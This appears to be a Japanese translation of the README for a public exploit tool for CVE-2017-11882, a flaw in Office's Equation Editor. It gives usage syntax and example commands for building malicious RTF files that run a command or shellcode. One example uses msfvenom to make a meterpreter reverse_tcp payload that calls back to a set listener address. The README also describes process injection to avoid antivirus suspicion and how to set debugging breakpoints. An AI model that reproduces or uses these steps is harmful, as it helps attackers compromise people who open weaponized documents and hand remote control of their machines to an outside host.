
CVE-2017-11882 エクスプロイトは、最大で17kバイトを超える長さのコマンド/コードを受け入れます。
CVE-2017-11882 エクスプロイトは、最大17kバイトを超える長さのコマンド/コードを受け入れます。
リモートコマンド実行の場合、このエクスプロイトは SW_HIDE で WinExec を呼び出し、WinExec が戻った後に ExitProcess を呼び出します。
リモートコード実行の場合、このエクスプロイトは単にコードへ jmp します。
オブジェクト構造のリファレンスが見つからないため...任意の長さのコード実行のためにファイル長を変更することはできません..:(
しかし、17kバイトあれば本当に十分だと思います。Pythonスクリプトが必要なペイロードサイズを検出し、適切なペイロードテンプレートを選択します。
注意: 別のプロセスにマイグレーションしない場合、RCE は winword プロセスをフリーズさせます!
現在、このエクスプロイトは -i フラグを指定すると、シェルコードを新しい EQNEDT32.EXE プロセスにインジェクションします。この操作は AV に疑われる可能性がありますが、Word プロセスはフリーズしません。
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
例:
リモートコマンド実行の場合
CVE-2017-11882.py -c cmd.exe -o test.rtf
リモートコード実行の場合
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE のデバッガー値に、使用するデバッガーのパスを設定します。
エクスプロイトをビルドして実行します。
0x41165f にブレークポイントを設定します。
このブレークポイントは2回ヒットします。2回目に、この関数が戻った後にペイロードが実行されます。